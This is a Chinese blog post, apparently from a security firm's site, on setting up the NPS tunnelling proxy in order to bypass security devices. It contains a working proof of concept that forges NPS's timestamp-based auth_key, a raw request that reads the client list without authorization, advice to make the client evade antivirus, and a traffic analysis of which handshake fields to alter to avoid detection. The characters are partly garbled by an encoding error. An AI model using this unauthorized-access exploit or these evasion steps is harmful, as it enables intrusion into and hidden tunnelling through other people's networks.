了解最新公司動(dòng)態(tài)及行業(yè)資訊
因?yàn)橄胍獙懸粋€(gè)socks的流量算法去繞過安全設(shè)備,所以這里對nps的流量特征總結(jié)一下,方便自己后期的魔改。
ubuntu 16.04 vps server
windows server 2012R2 clinet
mkdir nps cd nps wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz tar -zxvf linux_amd64_server.tar.gz ./nps install配置文件
#web web_host=a.o.com web_username=xxxx //管理端用戶名 web_password=xxxxxx //管理端密碼 web_port = xxxxx //管理端端口 web_ip=0.0.0.0 web_base_url= web_open_ssl=false web_cert_file=conf/server.pem web_key_file=conf/server.key #web_base_url=/npsbridge_port的默認(rèn)端口默認(rèn)為8024,這里不建議改為默認(rèn)的,連接客戶端的時(shí)候可能會(huì)觸發(fā)安全設(shè)備規(guī)則
POC
#encoding=utf-8 import time import hashlib now = time.time() m = hashlib.md5() m.update(str(int(now)).encode("utf8")) auth_key = m.hexdigest() print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))直接訪問
http://vps:port?payload
exp請求接口
POST /client/list HTTP/1.1 Host: vps:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 98 Origin: http://vps:port Connection: close Referer: http://vps:port/client/list search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547參考鏈接:
https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA
vim /etc/nps/conf/nps.conf取消注釋auth_key,添加auth_crypt_key`注釋
auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN
修改為
auth_key=test #auth_crypt_key =!QAZ4rfv%TGB^YHN
目前最新版本的也存在改配置不當(dāng)問題,這里需要修改配置,修復(fù)之后是無法通過未授權(quán)讀取內(nèi)容信息的。
nps start
訪問http://vps:port/login
新增客戶端
這里用戶名和密碼隨意,這里是客戶端登錄的認(rèn)證用戶名,在客戶端連接的時(shí)候是根據(jù)密鑰來實(shí)現(xiàn)的。
客戶端選擇windwos server 2012R2
修改客戶端配置文件
[common] server_addr=vps:port conn_type=tcp vkey=xxxx auto_reconnection=true max_conn=1000 flow_limit=1000 rate_limit=1000 basic_username=11 basic_password=3 web_username=xxxx web_password=xxxxx crypt=true compress=true #pprof_addr=0.0.0.0:9999 disconnect_timeout=60客戶端啟動(dòng)
npc.exe -server=vps:port -vkey=xxxxx -type=tcp
正常情況下會(huì)報(bào)毒,所以這里針對殺軟這一塊兒,客戶端需要做一下免殺處理。
查看連接狀態(tài)
使用goby測試socks5
測試代理
已成功實(shí)現(xiàn)內(nèi)網(wǎng)穿透。
這里使用wireshark抓取流量包,
初始流量服務(wù)器向客戶端發(fā)送TST
同時(shí)客戶端向服務(wù)端確認(rèn)版本,同時(shí)返回客戶端版本0.26.0
代碼位置nps/lib/version/version.go
服務(wù)端接收到請求后,客戶端請求的數(shù)據(jù)內(nèi)容為nps的版本為0.26.10
服務(wù)端接收到請求后返回給客戶端服務(wù)端版本的md5值,即
md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e
可以發(fā)現(xiàn)在產(chǎn)生nps客戶端連接的時(shí)候,會(huì)產(chǎn)生數(shù)據(jù)校驗(yàn),這里數(shù)據(jù)校驗(yàn)就是有服務(wù)器到
這是客戶端傳輸給服務(wù)端密鑰連接
md5(vkey)
服務(wù)端在接收到客戶端的請求后校驗(yàn)數(shù)據(jù)后返回success
這里客戶端和服務(wù)端的連接流量就比較清晰了,那么想要bypass安全設(shè)備的告警,在修改加密方式和修改版本關(guān)鍵字即可,因?yàn)樵谧隽髁侩[藏的時(shí)候跟bypassav不一樣,不會(huì)考慮文件的哈希以及文件在沙箱中的落地狀態(tài)。
24小時(shí)免費(fèi)咨詢
請輸入您的聯(lián)系電話,座機(jī)請加區(qū)號